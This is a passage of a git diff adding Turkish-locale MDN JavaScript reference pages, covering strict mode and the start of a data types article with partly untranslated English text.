+<p>{{Compat("javascript.statements.while")}}</p> + +<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> + +<ul> + <li>{{jsxref("Statements/do...while", "do...while")}}</li> + <li>{{jsxref("Statements/for", "for")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/strict_mode/index.html b/files/tr/web/javascript/reference/strict_mode/index.html new file mode 100644 index 0000000000..e87b630e1b --- /dev/null +++ b/files/tr/web/javascript/reference/strict_mode/index.html @@ -0,0 +1,363 @@ +--- +title: Sıkı mod +slug: Web/JavaScript/Reference/Strict_mode +translation_of: Web/JavaScript/Reference/Strict_mode +--- +<div>{{JsSidebar("More")}}</div> + +<div class="callout-box">Sometimes you'll see the default, non-strict mode referred to as <strong>"<a href="https://developer.mozilla.org/docs/Glossary/Sloppy_mode" id="sloppyModeId333">sloppy mode</a>"</strong>. This isn't an official term, but be aware of it, just in case.</div> + +<p>JavaScript's strict mode, introduced in ECMAScript 5, is a way to <em>opt in</em> to a restricted variant of JavaScript, thereby implicitly opting-out of "<a href="https://developer.mozilla.org/docs/Glossary/Sloppy_mode">sloppy mode</a>". Strict mode isn't just a subset: it <em>intentionally</em> has different semantics from normal code. Browsers not supporting strict mode will run strict mode code with different behavior from browsers that do, so don't rely on strict mode without feature-testing for support for the relevant aspects of strict mode. Strict mode code and non-strict mode code can coexist, so scripts can opt into strict mode incrementally.</p> + +<p>Strict mode makes several changes to normal JavaScript semantics:</p> + +<ol> + <li>Eliminates some JavaScript silent errors by changing them to throw errors.</li> + <li>Fixes mistakes that make it difficult for JavaScript engines to perform optimizations: strict mode code can sometimes be made to run faster than identical code that's not strict mode.</li> + <li>Prohibits some syntax likely to be defined in future versions of ECMAScript.</li> +</ol> + +<p>See <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode">transitioning to strict mode</a>, if you want to change your code to work in the restricted variant of JavaScript.</p> + +<h2 id="Invoking_strict_mode">Invoking strict mode</h2> + +<p>Strict mode applies to <em>entire scripts</em> or to <em>individual functions</em>. It doesn't apply to block statements enclosed in <code>{}</code> braces; attempting to apply it to such contexts does nothing. <code>eval</code> code, <code>Function</code> code, event handler attributes, strings passed to <a href="/en-US/docs/Web/API/WindowTimers/setTimeout" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowTimers.setTimeout()</code></a>, and related functions are entire scripts, and invoking strict mode in them works as expected.</p> + +<h3 id="Strict_mode_for_scripts">Strict mode for scripts</h3> + +<p>To invoke strict mode for an entire script, put the <em>exact</em> statement <code>"use strict";</code> (or <code>'use strict';</code>) before any other statements.</p> + +<pre class="brush: js">// Whole-script strict mode syntax +'use strict'; +var v = "Hi! I'm a strict mode script!"; +</pre> + +<p>This syntax has a trap that has <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=579119">already bitten</a> <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=627531">a major site</a>: it isn't possible to blindly concatenate conflicting scripts. Consider concatenating a strict mode script with a non-strict mode script: the entire concatenation looks strict! The inverse is also true: non-strict plus strict looks non-strict. Obviously, concatenation of scripts is never ideal, but if you must, consider enabling strict on a function-by-function basis.</p> + +<p>You can also take the approach of wrapping the entire contents of a script in a function and having that outer function use strict mode. This eliminates the concatenation problem and it means that you have to explicitly export any shared variables out of the function scope.</p> + +<h3 id="Strict_mode_for_functions">Strict mode for functions</h3> + +<p>Likewise, to invoke strict mode for a function, put the <em>exact</em> statement <code>"use strict";</code> (or <code>'use strict';</code>) in the function's body before any other statements.</p> + +<pre class="brush: js">function strict() { + // Function-level strict mode syntax + 'use strict'; + function nested() { return 'And so am I!'; } + return "Hi! I'm a strict mode function! " + nested(); +} +function notStrict() { return "I'm not strict."; } +</pre> + +<h3 id="Strict_mode_for_modules">Strict mode for modules</h3> + +<p>ECMAScript 2015 introduced <a href="/en-US/docs/Web/JavaScript/Reference/Statements/export">JavaScript modules</a> and therefore a 3rd way to enter strict mode. The entire contents of JavaScript modules are automatically in strict mode, with no statement needed to initiate it.</p> + +<pre class="brush: js">function strict() { + // because this is a module, I'm strict by default +} +export default strict; +</pre> + +<h2 id="Changes_in_strict_mode">Changes in strict mode</h2> + +<p>Strict mode changes both syntax and runtime behavior. Changes generally fall into these categories: changes converting mistakes into errors (as syntax errors or at runtime), changes simplifying how the particular variable for a given use of a name is computed, changes simplifying <code>eval</code> and <code>arguments</code>, changes making it easier to write "secure" JavaScript, and changes anticipating future ECMAScript evolution.</p> + +<h3 id="Converting_mistakes_into_errors">Converting mistakes into errors</h3> + +<p>Strict mode changes some previously-accepted mistakes into errors. JavaScript was designed to be easy for novice developers, and sometimes it gives operations which should be errors non-error semantics. Sometimes this fixes the immediate problem, but sometimes this creates worse problems in the future. Strict mode treats these mistakes as errors so that they're discovered and promptly fixed.</p> + +<p>First, strict mode makes it impossible to accidentally create global variables. In normal JavaScript mistyping a variable in an assignment creates a new property on the global object and continues to "work" (although future failure is possible: likely, in modern JavaScript). Assignments, which would accidentally create global variables, instead throw an error in strict mode:</p> + +<pre class="brush: js">'use strict'; + // Assuming no global variable mistypedVariable exists +mistypeVariable = 17; // this line throws a ReferenceError due to the + // misspelling of variable +</pre> + +<p>Second, strict mode makes assignments which would otherwise silently fail to throw an exception. For example, <code>NaN</code> is a non-writable global variable. In normal code assigning to <code>NaN</code> does nothing; the developer receives no failure feedback. In strict mode assigning to <code>NaN</code> throws an exception. Any assignment that silently fails in normal code (assignment to a non-writable global or property, assignment to a getter-only property, assignment to a new property on a <a href="/en-US/Web/JavaScript/Reference/Global_Objects/Object/preventExtensions" title="en-US/JavaScript/Reference/Global Objects/Object/preventExtensions">non-extensible</a> object) will throw in strict mode:</p> + +<pre class="brush: js">'use strict'; + +// Assignment to a non-writable global +var undefined = 5; // throws a TypeError +var Infinity = 5; // throws a TypeError + +// Assignment to a non-writable property +var obj1 = {}; +Object.defineProperty(obj1, 'x', { value: 42, writable: false }); +obj1.x = 9; // throws a TypeError + +// Assignment to a getter-only property +var obj2 = { get x() { return 17; } }; +obj2.x = 5; // throws a TypeError + +// Assignment to a new property on a non-extensible object +var fixed = {}; +Object.preventExtensions(fixed); +fixed.newProp = 'ohai'; // throws a TypeError +</pre> + +<p>Third, strict mode makes attempts to delete undeletable properties throw (where before the attempt would simply have no effect):</p> + +<pre class="brush: js">'use strict'; +delete Object.prototype; // throws a TypeError +</pre> + +<p>Fourth, strict mode prior to Gecko 34 requires that all properties named in an object literal be unique. The normal code may duplicate property names, with the last one determining the property's value. But since only the last one does anything, the duplication is simply a vector for bugs, if the code is modified to change the property value other than by changing the last instance. Duplicate property names are a syntax error in strict mode:</p> + +<div class="note"> +<p>This is no longer the case in ECMAScript 2015 (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1041128">bug 1041128</a>).</p> +</div> + +<pre class="brush: js">'use strict'; +var o = { p: 1, p: 2 }; // !!! syntax error +</pre> + +<p>Fifth, strict mode requires that function parameter names be unique. In normal code the last duplicated argument hides previous identically-named arguments. Those previous arguments remain available through <code>arguments[i]</code>, so they're not completely inaccessible. Still, this hiding makes little sense and is probably undesirable (it might hide a typo, for example), so in strict mode duplicate argument names are a syntax error:</p> + +<pre class="brush: js">function sum(a, a, c) { // !!! syntax error + 'use strict'; + return a + a + c; // wrong if this code ran +} +</pre> + +<p>Sixth, a strict mode in ECMAScript 5 forbids octal syntax. The octal syntax isn't part of ECMAScript 5, but it's supported in all browsers by prefixing the octal number with a zero: <code>0644 === 420</code> and <code>"\045" === "%"</code>. In ECMAScript 2015 Octal number is supported by prefixing a number with "<code>0o</code>". i.e. </p> + +<pre class="brush: js">var a = 0o10; // ES2015: Octal</pre> + +<p>Novice developers sometimes believe a leading zero prefix has no semantic meaning, so they use it as an alignment device — but this changes the number's meaning! A leading zero syntax for the octals is rarely useful and can be mistakenly used, so strict mode makes it a syntax error:</p> + +<pre class="brush: js">'use strict'; +var sum = 015 + // !!! syntax error + 197 + + 142; + +var sumWithOctal = 0o10 + 8; +console.log(sumWithOctal); // 16 +</pre> + +<p>Seventh, strict mode in ECMAScript 2015 forbids setting properties on <a href="/en-US/docs/Glossary/primitive">primitive</a> values. Without strict mode, setting properties is simply ignored (no-op), with strict mode, however, a {{jsxref("TypeError")}} is thrown.</p> + +<pre class="brush: js">(function() { +'use strict'; + +false.true = ''; // TypeError +(14).sailing = 'home'; // TypeError +'with'.you = 'far away'; // TypeError + +})();</pre> + +<h3 id="Simplifying_variable_uses">Simplifying variable uses</h3> + +<p>Strict mode simplifies how variable names map to particular variable definitions in the code. Many compiler optimizations rely on the ability to say that variable <em>X</em> is stored in <em>that</em> location: this is critical to fully optimizing JavaScript code. JavaScript sometimes makes this basic mapping of name to variable definition in the code impossible to perform until runtime. Strict mode removes most cases where this happens, so the compiler can better optimize strict mode code.</p> + +<p>First, strict mode prohibits <code>with</code>. The problem with <code>with</code> is that any name inside the block might map either to a property of the object passed to it, or to a variable in surrounding (or even global) scope, at runtime: it's impossible to know which beforehand. Strict mode makes <code>with</code> a syntax error, so there's no chance for a name in a <code>with</code> to refer to an unknown location at runtime:</p> + +<pre class="brush: js">'use strict'; +var x = 17; +with (obj) { // !!! syntax error + // If this weren't strict mode, would this be var x, or + // would it instead be obj.x? It's impossible in general + // to say without running the code, so the name can't be + // optimized. + x; +} +</pre> + +<p>The simple alternative of assigning the object to a short name variable, then accessing the corresponding property on that variable, stands ready to replace <code>with</code>.</p> + +<p>Second, <a class="external" href="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/"><code>eval</code> of strict mode code does not introduce new variables into the surrounding scope</a>. In normal code <code>eval("var x;")</code> introduces a variable <code>x</code> into the surrounding function or the global scope. This means that, in general, in a function containing a call to <code>eval</code> every name not referring to an argument or local variable must be mapped to a particular definition at runtime (because that <code>eval</code> might have introduced a new variable that would hide the outer variable). In strict mode <code>eval</code> creates variables only for the code being evaluated, so <code>eval</code> can't affect whether a name refers to an outer variable or some local variable:</p> + +<pre class="brush: js">var x = 17; +var evalX = eval("'use strict'; var x = 42; x;"); +console.assert(x === 17); +console.assert(evalX === 42); +</pre> + +<p>If the function <code>eval</code> is invoked by an expression of the form <code>eval(...)</code> in strict mode code, the code will be evaluated as strict mode code. The code may explicitly invoke strict mode, but it's unnecessary to do so.</p> + +<pre class="brush: js">function strict1(str) { + 'use strict'; + return eval(str); // str will be treated as strict mode code +} +function strict2(f, str) { + 'use strict'; + return f(str); // not eval(...): str is strict if and only + // if it invokes strict mode +} +function nonstrict(str) { + return eval(str); // str is strict if and only + // if it invokes strict mode +} + +strict1("'Strict mode code!'"); +strict1("'use strict'; 'Strict mode code!'"); +strict2(eval, "'Non-strict code.'"); +strict2(eval, "'use strict'; 'Strict mode code!'"); +nonstrict("'Non-strict code.'"); +nonstrict("'use strict'; 'Strict mode code!'"); +</pre> + +<p>Thus names in strict mode <code>eval</code> code behave identically to names in strict mode code not being evaluated as the result of <code>eval</code>.</p> + +<p>Third, strict mode forbids deleting plain names. <code>delete name</code> in strict mode is a syntax error:</p> + +<pre class="brush: js">'use strict'; + +var x; +delete x; // !!! syntax error + +eval('var y; delete y;'); // !!! syntax error</pre> + +<h3 id="Making_eval_and_arguments_simpler">Making <code>eval</code> and <code>arguments</code> simpler</h3> + +<p>Strict mode makes <code>arguments</code> and <code>eval</code> less bizarrely magical. Both involve a considerable amount of magical behavior in normal code: <code>eval</code> to add or remove bindings and to change binding values, and <code>arguments</code> by its indexed properties aliasing named arguments. Strict mode makes great strides toward treating <code>eval</code> and <code>arguments</code> as keywords, although full fixes will not come until a future edition of ECMAScript.</p> + +<p>First, the names <code>eval</code> and <code>arguments</code> can't be bound or assigned in language syntax. All these attempts to do so are syntax errors:</p> + +<pre class="brush: js">'use strict'; +eval = 17; +arguments++; +++eval; +var obj = { set p(arguments) { } }; +var eval; +try { } catch (arguments) { } +function x(eval) { } +function arguments() { } +var y = function eval() { }; +var f = new Function('arguments', "'use strict'; return 17;"); +</pre> + +<p>Second, strict mode code doesn't alias properties of <code>arguments</code> objects created within it. In normal code within a function whose first argument is <code>arg</code>, setting <code>arg</code> also sets <code>arguments[0]</code>, and vice versa (unless no arguments were provided or <code>arguments[0]</code> is deleted). <code>arguments</code> objects for strict mode functions store the original arguments when the function was invoked. <code>arguments[i]</code> does not track the value of the corresponding named argument, nor does a named argument track the value in the corresponding <code>arguments[i]</code>.</p> + +<pre class="brush: js">function f(a) { + 'use strict'; + a = 42; + return [a, arguments[0]]; +} +var pair = f(17); +console.assert(pair[0] === 42); +console.assert(pair[1] === 17); +</pre> + +<p>Third, <code>arguments.callee</code> is no longer supported. In normal code <code>arguments.callee</code> refers to the enclosing function. This use case is weak: simply name the enclosing function! Moreover, <code>arguments.callee</code> substantially hinders optimizations like inlining functions, because it must be made possible to provide a reference to the un-inlined function if <code>arguments.callee</code> is accessed. <code>arguments.callee</code> for strict mode functions is a non-deletable property which throws an error when set or retrieved:</p> + +<pre class="brush: js">'use strict'; +var f = function() { return arguments.callee; }; +f(); // throws a TypeError +</pre> + +<h3 id="Securing_JavaScript">"Securing" JavaScript</h3> + +<p>Strict mode makes it easier to write "secure" JavaScript. Some websites now provide ways for users to write JavaScript which will be run by the website <em>on behalf of other users</em>. JavaScript in browsers can access the user's private information, so such JavaScript must be partially transformed before it is run, to censor access to forbidden functionality. JavaScript's flexibility makes it effectively impossible to do this without many runtime checks. Certain language functions are so pervasive that performing runtime checks has a considerable performance cost. A few strict mode tweaks, plus requiring that user-submitted JavaScript be strict mode code and that it be invoked in a certain manner, substantially reduce the need for those runtime checks.</p> + +<p>First, the value passed as <code>this</code> to a function in strict mode is not forced into being an object (a.k.a. "boxed"). For a normal function, <code>this</code> is always an object: either the provided object if called with an object-valued <code>this</code>; the value, boxed, if called with a Boolean, string, or number <code>this</code>; or the global object if called with an <code>undefined</code> or <code>null</code> <code>this</code>. (Use <a href="/en-US/Web/JavaScript/Reference/Global_Objects/Function/call" title="en-US/JavaScript/Reference/Global_Objects/Function/call"><code>call</code></a>, <a href="/en-US/Web/JavaScript/Reference/Global_Objects/Function/apply" title="en-US/JavaScript/Reference/Global_Objects/Function/apply"><code>apply</code></a>, or <a href="/en-US/Web/JavaScript/Reference/Global_Objects/Function/bind" title="en-US/JavaScript/Reference/Global_Objects/Function/bind"><code>bind</code></a> to specify a particular <code>this</code>.) Not only is automatic boxing a performance cost, but exposing the global object in browsers is a security hazard because the global object provides access to functionality that "secure" JavaScript environments must restrict. Thus for a strict mode function, the specified <code>this</code> is not boxed into an object, and if unspecified, <code>this</code> will be <code>undefined</code>:</p> + +<pre class="brush: js">'use strict'; +function fun() { return this; } +console.assert(fun() === undefined); +console.assert(fun.call(2) === 2); +console.assert(fun.apply(null) === null); +console.assert(fun.call(undefined) === undefined); +console.assert(fun.bind(true)() === true); +</pre> + +<p>That means, among other things, that in browsers it's no longer possible to reference the <code>window</code> object through <code>this</code> inside a strict mode function.</p> + +<p>Second, in strict mode it's no longer possible to "walk" the JavaScript stack via commonly-implemented extensions to ECMAScript. In normal code with these extensions, when a function <code>fun</code> is in the middle of being called, <code>fun.caller</code> is the function that most recently called <code>fun</code>, and <code>fun.arguments</code> is the <code>arguments</code> for that invocation of <code>fun</code>. Both extensions are problematic for "secure" JavaScript because they allow "secured" code to access "privileged" functions and their (potentially unsecured) arguments. If <code>fun</code> is in strict mode, both <code>fun.caller</code> and <code>fun.arguments</code> are non-deletable properties which throw when set or retrieved:</p> + +<pre class="brush: js">function restricted() { + 'use strict'; + restricted.caller; // throws a TypeError + restricted.arguments; // throws a TypeError +} +function privilegedInvoker() { + return restricted(); +} +privilegedInvoker(); +</pre> + +<p>Third, <code>arguments</code> for strict mode functions no longer provide access to the corresponding function call's variables. In some old ECMAScript implementations <code>arguments.caller</code> was an object whose properties aliased variables in that function. This is a <a class="external" href="http://stuff.mit.edu/iap/2008/facebook/">security hazard</a> because it breaks the ability to hide privileged values via function abstraction; it also precludes most optimizations. For these reasons no recent browsers implement it. Yet because of its historical functionality, <code>arguments.caller</code> for a strict mode function is also a non-deletable property which throws when set or retrieved:</p> + +<pre class="brush: js">'use strict'; +function fun(a, b) { + 'use strict'; + var v = 12; + return arguments.caller; // throws a TypeError +} +fun(1, 2); // doesn't expose v (or a or b) +</pre> + +<h3 id="Paving_the_way_for_future_ECMAScript_versions">Paving the way for future ECMAScript versions</h3> + +<p>Future ECMAScript versions will likely introduce new syntax, and strict mode in ECMAScript 5 applies some restrictions to ease the transition. It will be easier to make some changes if the foundations of those changes are prohibited in strict mode.</p> + +<p>First, in strict mode, a short list of identifiers become reserved keywords. These words are <code>implements</code>, <code>interface</code>, <code>let</code>, <code>package</code>, <code>private</code>, <code>protected</code>, <code>public</code>, <code>static</code>, and <code>yield</code>. In strict mode, then, you can't name or use variables or arguments with these names.</p> + +<pre class="brush: js">function package(protected) { // !!! + 'use strict'; + var implements; // !!! + + interface: // !!! + while (true) { + break interface; // !!! + } + + function private() { } // !!! +} +function fun(static) { 'use strict'; } // !!! + +</pre> + +<p>Two Mozilla-specific caveats: First, if your code is JavaScript 1.7 or greater (for example in chrome code or when using the right <code><script type=""></code>) and is strict mode code, <code>let</code> and <code>yield</code> have the functionality they've had since those keywords were first introduced. But strict mode code on the web, loaded with <code><script src=""></code> or <code><script>...</script></code>, won't be able to use <code>let</code>/<code>yield</code> as identifiers. Second, while ES5 unconditionally reserves the words <code>class</code>, <code>enum</code>, <code>export</code>, <code>extends</code>, <code>import</code>, and <code>super</code>, before Firefox 5 Mozilla reserved them only in strict mode.</p> + +<p>Second, <a class="external" href="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/">strict mode prohibits function statements, not at the top level of a script or function</a>. In normal mode in browsers, function statements are permitted "everywhere". <em>This is not part of ES5 (or even ES3)!</em> It's an extension with incompatible semantics in different browsers. Note that function statements outside top level are permitted in ES2015.</p> + +<pre class="brush: js">'use strict'; +if (true) { + function f() { } // !!! syntax error + f(); +} + +for (var i = 0; i < 5; i++) { + function f2() { } // !!! syntax error + f2(); +} + +function baz() { // kosher + function eit() { } // also kosher +} +</pre> + +<p>This prohibition isn't strict mode proper because such function statements are an extension of basic ES5. But it is the recommendation of the ECMAScript committee, and browsers will implement it.</p> + +<h2 id="Strict_mode_in_browsers">Strict mode in browsers</h2> + +<p>The major browsers now implement strict mode. However, don't blindly depend on it since there still are numerous <a class="external" href="http://caniuse.com/use-strict" rel="external" title="caniuse.com availability of strict mode">Browser versions used in the wild that only have partial support for strict mode</a> or do not support it at all (e.g. Internet Explorer below version 10!). <em>Strict mode changes semantics.</em> Relying on those changes will cause mistakes and errors in browsers which don't implement strict mode. Exercise caution in using strict mode, and back up reliance on strict mode with feature tests that check whether relevant parts of strict mode are implemented. Finally, make sure to <em>test your code in browsers that do and don't support strict mode</em>. If you test only in browsers that don't support strict mode, you're very likely to have problems in browsers that do, and vice versa.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-strict-mode-code', 'Strict Mode Code')}}</td> + </tr> + </tbody> +</table> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a class="external" href="http://whereswalden.com/2010/09/08/new-es5-strict-mode-support-now-with-poison-pills/" title="http://whereswalden.com/2010/09/08/new-es5-strict-mode-support-now-with-poison-pills/">Where's Walden? » New ES5 strict mode support: now with poison pills!</a></li> + <li><a class="external" href="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/" title="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/">Where's Walden? » New ES5 strict mode requirement: function statements not at top level of a program or function are prohibited</a></li> + <li><a class="external" href="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/" title="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/">Where's Walden? » New ES5 strict mode support: new vars created by strict mode eval code are local to that code only</a></li> + <li><a href="http://qnimate.com/javascript-strict-mode-in-nutshell/">JavaScript "use strict" tutorial for beginners.</a></li> + <li><a class="external" href="http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/" title="http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/">John Resig - ECMAScript 5 Strict Mode, JSON, and More</a></li> + <li><a class="external" href="http://dmitrysoshnikov.com/ecmascript/es5-chapter-2-strict-mode/">ECMA-262-5 in detail. Chapter 2. Strict Mode.</a></li> + <li><a class="external" href="http://kangax.github.io/compat-table/es5/#Strict_mode">Strict mode compatibility table</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode">Transitioning to strict mode</a></li> +</ul> diff --git a/files/tr/web/javascript/veri_yapısı/index.html b/files/tr/web/javascript/veri_yapısı/index.html new file mode 100644 index 0000000000..693d18233a --- /dev/null +++ b/files/tr/web/javascript/veri_yapısı/index.html @@ -0,0 +1,298 @@ +--- +title: JavaScript veri tipi ve veri yapısı +slug: Web/JavaScript/Veri_Yapısı +tags: + - Başlangıç + - JavaScript + - Veri Türleri +translation_of: Web/JavaScript/Data_structures +--- +<div>{{jsSidebar("More")}}</div> + +<p>Programlama dilleri dil ile birlikte gelen sabit veri yapılarına sahiptir, fakat bu veri yapıları dilden dile değişiklik gösterir. Bu makale JavaScript'teki sabit veri yapılarını ve bu veri yapılarının özelliklerini listeler; böylece bu veri yapıları kullanılarak farklı veri yapıları yaratılabilir. Makale boyunca karşılaştırmanın mümkün olduğu bölümlerde, farklı dillerle kıyaslama yapılmıştır.</p> + +<h2 id="Dinamik_Veri_Tipi">Dinamik Veri Tipi</h2> + +<p>JavaScript esnek (ya da dinamik) veri tipine sahip bir dildir. JavaScript dilinde değişkenler belirli bir veri tipi ile direkt ve sabit olarak ilişkilendirilmez ve herhangi bir değişkene herhangi bir veri tipine sahip bir değer atanabilir, bu değer daha sonra farklı bir veri tipinin değeri ile değiştirilebilir.</p> + +<pre class="brush: js">var foo = 42; // foo değişkeni şuan bir sayıdır +foo = 'bar'; // foo değişkeni şuan karakter dizisidir +foo = true; // foo değişkeni şuan boolean veri türüdür +</pre> + +<h2 id="Veri_Tipleri">Veri Tipleri</h2> + +<p>Son ECMAScript standartları 7 veri tipi tanımlar:</p> + +<ul> + <li>İlkel olan yedi veri türü {{Glossary("Primitive", "primitives")}}: + <ul> + <li>{{Glossary("Boolean")}}</li> + <li>{{Glossary("Null")}}</li> + <li>{{Glossary("Undefined")}}</li> + <li>{{Glossary("Number")}}</li> + <li>{{Glossary("BigInt")}}</li> + <li>{{Glossary("String")}}</li> + <li>{{Glossary("Symbol")}} (ECMAScript 6'da yeni gelen veri tipi)</li> + </ul> + </li> + <li>ve {{Glossary("Object")}}</li> +</ul> + +<h2 id="İlkel_Primitive_değerler">İlkel (Primitive) değerler</h2> + +<p>Nesne dışındaki bütün veri tipleri sonradan değiştirilemez değerler tanımlar. Örnek olarak C dilinin tersine karakter dizileri (String) değiştirilemez. Bu tipteki değerler ilkel değerler (primitive values) olarak tanımlanır.</p> + +<h3 id="Boolean_tipi">Boolean tipi</h3> + +<p>Boolean veri tipi doğru ( <code>true</code> ) ve yanlış ( <code>false</code> ) olmak üzere iki mantıksal değerden birine sahip olan veri tiplerini temsil eder.</p> + +<h3 id="Null_tipi">Null tipi</h3> + +<p>Boş olan değişkenlerin alabiileceği tek değer vardır: <code>null</code>. Daha fazla detay için buraya bakınız {{jsxref("null")}} and {{Glossary("Null")}}.</p> + +<h3 id="Undefined_tipi">Undefined tipi</h3> + +<p>Herhangi bir değer atanmamış değişkenlerin değeri <code>undefined</code> (tanımlanmamış)dır. Daha fazla detay için buraya {{jsxref("undefined")}} ve buraya {{Glossary("Undefined")}} bakınız.</p> + +<h3 id="Number_type">Number type</h3> + +<p>According to the ECMAScript standard, there is only one number type: the <a href="http://en.wikipedia.org/wiki/Double_precision_floating-point_format">double-precision 64-bit binary format IEEE 754 value</a> (numbers between -(2<sup>53</sup> -1) and 2<sup>53</sup> -1). <strong>There is no specific type for integers</strong>. In addition to being able to represent floating-point numbers, the number type has three symbolic values: <code>+Infinity</code>, <code>-Infinity</code>, and <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN"><code>NaN</code></a> (not-a-number).</p> + +<p>To check for the largest available value or smallest available value within <code>+/-Infinity</code>, you can use the constants {{jsxref("Number.MAX_VALUE")}} or {{jsxref("Number.MIN_VALUE")}} and starting with ECMAScript 2015, you are also able to check if a number is in the double-precision floating-point number range using {{jsxref("Number.isSafeInteger()")}} as well as {{jsxref("Number.MAX_SAFE_INTEGER")}} and {{jsxref("Number.MIN_SAFE_INTEGER")}}. Beyond this range, integers in JavaScript are not safe anymore and will be a double-precision floating point approximation of the value.</p> + +<p>The number type has only one integer that has two representations: 0 is represented as -0 and +0. ("0" is an alias for +0). In the praxis, this has almost no impact. For example <code>+0 === -0</code> is <code>true</code>. However, you are able to notice this when you divide by zero:</p> + +<pre class="brush: js">> 42 / +0 +Infinity +> 42 / -0 +-Infinity +</pre> + +<p>Although a number often represents only its value, JavaScript provides <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="en/JavaScript/Reference/Operators/Bitwise_Operators">some binary operators</a>. These can be used to represent several Boolean values within a single number using <a class="external" href="http://en.wikipedia.org/wiki/Mask_%28computing%29">bit masking</a>. However, this is usually considered a bad practice, since JavaScript offers other means to represent a set of Booleans (like an array of Booleans or an object with Boolean values assigned to named properties). Bit masking also tends to make the code more difficult to read, understand, and maintain. It may be necessary to use such techniques in very constrained environments, like when trying to cope with the storage limitation of local storage or in extreme cases when each bit over the network counts. This technique should only be considered when it is the last measure that can be taken to optimize size.</p> + +<h3 id="String_type">String type</h3> + +<p>JavaScript's {{jsxref("Global_Objects/String", "String")}} type is used to represent textual data. It is a set of "elements" of 16-bit unsigned integer values. Each element in the String occupies a position in the String. The first element is at index 0, the next at index 1, and so on. The length of a String is the number of elements in it.</p> + +<p>Unlike in languages like C, JavaScript strings are immutable. This means that once a string is created, it is not possible to modify it. However, it is still possible to create another string based on an operation on the original string. For example:</p> + +<ul> + <li>A substring of the original by picking individual letters or using {{jsxref("String.substr()")}}.</li> + <li>A concatenation of two strings using the concatenation operator (<code>+</code>) or {{jsxref("String.concat()")}}.</li> +</ul> + +<h4 id="Beware_of_stringly-typing_your_code!">Beware of "stringly-typing" your code!</h4> + +<p>It can be tempting to use strings to represent complex data. Doing this comes with short-term benefits:</p> + +<ul> + <li>It is easy to build complex strings with concatenation.</li> + <li>Strings are easy to debug (what you see printed is always what is in the string).</li> + <li>Strings are the common denominator of a lot of APIs (<a href="/en-US/docs/Web/API/HTMLInputElement" title="HTMLInputElement">input fields</a>, <a href="/en-US/docs/Storage" title="Storage">local storage</a> values, {{ domxref("XMLHttpRequest") }} responses when using <code>responseText</code>, etc.) and it can be tempting to only work with strings.</li> +</ul> + +<p>With conventions, it is possible to represent any data structure in a string. This does not make it a good idea. For instance, with a separator, one could emulate a list (while a JavaScript array would be more suitable). Unfortunately, when the separator is used in one of the "list" elements, then, the list is broken. An escape character can be chosen, etc. All of this requires conventions and creates an unnecessary maintenance burden.</p> + +<p>Use strings for textual data. When representing complex data, parse strings and use the appropriate abstraction.</p> + +<h3 id="Symbol_type">Symbol type</h3> + +<p>Symbols are new to JavaScript in ECMAScript 2015. A Symbol is a <strong>unique</strong> and <strong>immutable</strong> primitive value and may be used as the key of an Object property (see below). In some programming languages, Symbols are called atoms. For more details see {{Glossary("Symbol")}} and the {{jsxref("Symbol")}} object wrapper in JavaScript.</p> + +<h2 id="Objects">Objects</h2> + +<p>In computer science, an object is a value in memory which is possibly referenced by an {{Glossary("Identifier", "identifier")}}.</p> + +<h3 id="Properties">Properties</h3> + +<p>In JavaScript, objects can be seen as a collection of properties. With the <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Object_literals">object literal syntax</a>, a limited set of properties are initialized; then properties can be added and removed. Property values can be values of any type, including other objects, which enables building complex data structures. Properties are identified using key values. A key value is either a String or a Symbol value.</p> + +<p>There are two types of object properties which have certain attributes: The data property and the accessor property.</p> + +<h4 id="Data_property">Data property</h4> + +<p>Associates a key with a value and has the following attributes:</p> + +<table class="standard-table"> + <caption>Attributes of a data property</caption> + <tbody> + <tr> + <th>Attribute</th> + <th>Type</th> + <th>Description</th> + <th>Default value</th> + </tr> + <tr> + <td>[[Value]]</td> + <td>Any JavaScript type</td> + <td>The value retrieved by a get access of the property.</td> + <td>undefined</td> + </tr> + <tr> + <td>[[Writable]]</td> + <td>Boolean</td> + <td>If <code>false</code>, the property's [[Value]] can't be changed.</td> + <td>false</td> + </tr> + <tr> + <td>[[Enumerable]]</td> + <td>Boolean</td> + <td>If <code>true</code>, the property will be enumerated in <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> loops. See also <a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></td> + <td>false</td> + </tr> + <tr> + <td>[[Configurable]]</td> + <td>Boolean</td> + <td>If <code>false</code>, the property can't be deleted, can't be changed to an accessor property and attributes other than [[Value]] and [[Writable]] can't be changed.</td> + <td>false</td> + </tr> + </tbody> +</table> + +<table class="standard-table"> + <caption>Obsolete attributes (as of ECMAScript 3, renamed in ECMAScript 5)</caption> + <tbody> + <tr> + <th>Attribute</th> + <th>Type</th> + 